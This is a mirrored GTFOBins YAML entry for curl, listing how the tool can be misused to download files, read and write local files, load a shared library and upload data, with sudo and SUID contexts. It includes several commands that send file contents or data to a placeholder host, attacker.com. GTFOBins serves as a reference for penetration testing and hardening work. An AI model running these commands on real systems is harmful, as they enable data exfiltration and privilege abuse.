1
0
mirror of https://github.com/GTFOBins/GTFOBins.github.io.git synced 2026-03-07 06:31:33 +01:00
GTFOBins.github.io/_gtfobins/curl
Aaron Dewes 69cecd6f40 Add curl library-load
Close #509.
2026-01-21 17:30:47 +01:00

58 lines
1.1 KiB
Plaintext

---
functions:
download:
- code: |-
curl http://attacker.com/path/to/input-file -o /path/to/output-file
contexts:
sudo:
suid:
unprivileged:
sender: http-server
file-read:
- code: |-
curl file:///path/to/input-file
contexts:
sudo:
suid:
unprivileged:
file-write:
- code: |-
echo DATA >/path/to/temp-file
curl file:///path/to/temp-file -o /path/to/output-file
contexts:
sudo:
suid:
unprivileged:
library-load:
- code: |-
curl --engine /path/to/lib.so x
contexts:
sudo:
suid:
unprivileged:
upload:
- code: |-
curl -X POST --data-binary @/path/to/input-file http://attacker.com
contexts:
sudo:
suid:
unprivileged:
receiver: http-server
- code: |-
curl -X POST --data-binary DATA http://attacker.com
contexts:
sudo:
suid:
unprivileged:
receiver: http-server
- code: |-
curl gopher://attacker.com:12345/_DATA
comment: |-
Data will be `\r\n` terminated.
contexts:
sudo:
suid:
unprivileged:
receiver: tcp-server
...